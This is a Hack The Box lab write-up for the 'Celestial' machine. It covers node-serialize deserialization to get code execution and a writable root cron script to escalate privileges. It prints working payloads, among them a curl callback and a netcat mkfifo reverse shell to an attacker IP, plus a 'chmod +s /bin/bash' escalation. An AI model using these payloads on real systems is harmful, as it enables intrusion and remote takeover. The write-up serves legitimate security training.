writeup 2025-11-05 · 7 min read

Hack The Box Celestial Writeup (Medium Linux)

Medium Linux box. An Express app deserializes a base64 profile cookie with node-serialize, and a root cron running a writable script.py SUIDs bash.

Hack The Box Celestial Writeup (Medium Linux)

Summary

Celestial runs only a Node.js Express app on port 3000, which answers with a 404 but sets a base64 profile cookie. Decoding that cookie shows a JSON object the server reflects back, and server.js turns out to hand it straight to node-serialize’s unserialize call. Building a payload around the \(ND_FUNC\) marker and appending a pair of parentheses makes the function self invoking during deserialization, so a curl callback proves execution and a netcat mkfifo payload returns a shell as sun. On the box, pspy shows root running python /home/sun/Documents/script.py from cron before copying the original back out of /root. That file is owned by sun, so replacing it with a script that runs chmod +s /bin/bash and waiting for the next cron tick gives a root shell through bash -p.

Service Enumeration

Ran nmap:

1
nmap -A 10.129.228.94 -vv -oN scans/nmap.all -p- --min-rate 2500 -T4  -Pn

Which yielded me only one result:

1
2
3
4
5
PORT     STATE SERVICE REASON  VERSION
3000/tcp open  http    syn-ack Node.js Express framework
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

Web Server Enumeration

I get a 404 page immediately when open the web sever on port 3000:

Bare 404 page returned by the Express application on port 3000

I can use curl -vv to see a little bit more information about the website:

1
curl http://10.129.228.94:3000/ -vv

It tells me it’s a express-powered website and I can see now the server sets a cookie named “profile”:

1
2
< X-Powered-By: Express
< Set-Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D; Max-Age=900; Path=/; Expires=Mon, 03 Nov 2025 22:22:09 GMT; HttpOnly

I use cyberchef to decode the cookie:

CyberChef decoding the base64 profile cookie into its JSON object

Which got me the following results:

1
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}

If I restart the page, it returns me a new message:

Reloaded page showing the greeting built out of the cookie values

It seems like the web application is using the data from the cookie to return new data on the webpage. To test this, I used cyberchef to encode the following cookie:

1
{"username":"test","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"7"}

To base64:

1
eyJ1c2VybmFtZSI6InRlc3QiLCJjb3VudHJ5IjoiSWRrIFByb2JhYmx5IFNvbWV3aGVyZSBEdW1iIiwiY2l0eSI6IkxhbWV0b3duIiwibnVtIjoiNyJ9

And sure enough, the behavior is confirmed. Specially since there is no front-end code, because the website could be using javascript to process the cookie data. If I check for the source code of the webpage, I see no html at all, just the response from the server:

Page source holding only the server's response, with no front end code

Remote Code Execution: Node Serialization Attack

I did google for nodejs serialization and found the following article:

Article describing the node-serialize deserialization attack

It describes a proof of concept script that serializes a payload that executes code:

1
2
3
4
5
6
7
8
let y = {
  rce: function() {
    require('child_process').exec('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <local-ip> <local-port> >/tmp/f', function(error, stdout, stderr) { console.log(stdout); });
  },
};

let serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

I did adapt this proof of concept (saved to my machine as “exploit.js”) to match the current machine like so:

1
2
3
4
5
6
7
8
9
let exploit = {
    "username":function() { require('child_process').exec('curl 10.10.15.156', function(error, stdout, stderr) { console.log(stdout); }); },
    "country":"Idk Probably Somewhere Dumb",
    "city":"Lametown",
    "num":"7"
};

let serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(exploit));

I did serialize it:

1
2
3
4
$ node exploit.js

Serialized: 
{"username":"_$$ND_FUNC$$_function() { require('child_process').exec('curl 10.10.15.156', function(error, stdout, stderr) { console.log(stdout); }); }","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"7"}

Used burp decoder tab to base64 encode it:

Burp Suite Decoder base64 encoding the serialized payload

I went to my repeater tab with this new base64 cookie, changed the request cookie value and sent the request over to the machine. However, the server did interpret my function as a normal string it seems like:

Repeater response showing the function echoed back as a plain string

After thinkering with it for a while, I noticed the only thing that was missing was to add () at the end to make it an IIFE (Immediately Invoked Function Expression):

Payload edited to append the parentheses that make the function self invoking

So the payload would look like:

1
{"username":"_$$ND_FUNC$$_function() { require('child_process').exec('curl 10.10.15.156', function(error, stdout, stderr) { console.log(stdout); }); }()","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"7"}

I set up a python http server to listen for any potential connections:

1
sudo python3 -m http.server 80

I base64 encoded it again, replaced the cookie value and did shoot a request to the server. This time, the server actually executed my malicious function. The server did return me an error saying:

1
An error occurred...invalid username type

But I got a GET request log in my python web server, indicating my “curl” command was executed on the server:

1
10.129.228.94 - - [04/Nov/2025 13:49:04] "GET / HTTP/1.1" 200 -

Knowing my code is being executed, I prepared a revere shell payload with revshells.com for netcat mkfifo:

revshells.com generating the netcat mkfifo reverse shell command

With that my final payload for the cookie is:

1
{"username":"_$$ND_FUNC$$_function() { require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.15.156 9999 >/tmp/f', function(error, stdout, stderr) { console.log(stdout); }); }()","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"7"}

Again, base64 encode, change cookie value and submit. Be sure to have netcat listening:

1
nc -lvnp 9999

Post Exploitation

I got a shell as user “sun”. In this user’s directory, I can see the code that was running on the back-end looks like (/home/sun/server.js):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())
 
app.get('/', function(req, res) {
 if (req.cookies.profile) {
   var str = new Buffer(req.cookies.profile, 'base64').toString();
   var obj = serialize.unserialize(str);
   if (obj.username) { 
     var sum = eval(obj.num + obj.num);
     res.send("Hey " + obj.username + " " + obj.num + " + " + obj.num + " is " + sum);
   }else{
     res.send("An error occurred...invalid username type"); 
   }
}else {
     res.cookie('profile', "eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==", {
       maxAge: 900000,
       httpOnly: true
     });
 }
 res.send("<h1>404</h1>");
});
app.listen(3000);

Here we can see how the server is taking user-controlled data from a cookie, decoding it from base64, and then deserializing it directly without any validation:

1
2
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);

This is dangerous because the node-serialize library has a known vulnerability where it can execute code during the deserialization process.

Privilege Escalation

I did run linpeas against the machine, and one of the first things it points out is the fact that the kernel version is really old:

1
Linux version 4.4.0-31-generic (buildd@lgw01-16) (gcc version 5.3.1 20160413 (Ubuntu 5.3.1-14ubuntu2.1) ) #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016

Privilege escalation is just about exploring a cronjob though. I can see a recently created output.txt in my home directory (/home/sun):

1
-rw-r--r--  1 root root      21 Nov  4 19:50 output.txt

And if I use pspy to inspect processes, I locate the command that’s being executed as root:

pspy output showing root running pythonhome/sun/Documents/script.py from cron

More specifically, it’s running:

1
2
3
4
5
6
7
8
9
10
2025/11/04 20:00:01 CMD: UID=0     PID=2742   | python /home/sun/Documents/script.py                                                                              
2025/11/04 20:00:01 CMD: UID=0     PID=2741   | /bin/sh -c python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py                                                                  
2025/11/04 20:00:01 CMD: UID=0     PID=2740   | /usr/sbin/CRON -f 
2025/11/04 20:00:01 CMD: UID=0     PID=2739   | /usr/sbin/CRON -f 
2025/11/04 20:00:01 CMD: UID=0     PID=2743   | /usr/sbin/CRON -f 
2025/11/04 20:00:01 CMD: UID=1000  PID=2744   | 
2025/11/04 20:00:01 CMD: UID=0     PID=2750   | chown sun:sun /home/sun/Documents/script.py                                                                       
2025/11/04 20:00:01 CMD: UID=0     PID=2751   | /bin/sh -c python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py                                                                  
2025/11/04 20:00:01 CMD: UID=0     PID=2752   | date -R -r /home/sun/Documents/user.txt                                                                           
2025/11/04 20:00:01 CMD: UID=0     PID=2753   | /bin/sh -c python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py

After running it for the first time, it then copies over the script from /root/script.py to sun’s Documents folder, but now it’s too late, our malicious script would have run already at that point.

However, “script.py” is owned by my user:

1
-rw-rw-r-- 1 sun  sun  29 Nov  3 16:58 script.py

So I created a malicious script.py in my attacking machine:

1
2
3
import os

os.system("chmod +s /bin/bash")

Fired up a python web server:

1
sudo python3 -m http.server 80

Remove the original script.py in the target machine and get the malicious script:

1
wget 10.10.15.156/script.py

After a few seconds I could execute bash with elevated privileges:

1
/bin/bash -p
This post is licensed under CC BY 4.0 by the author.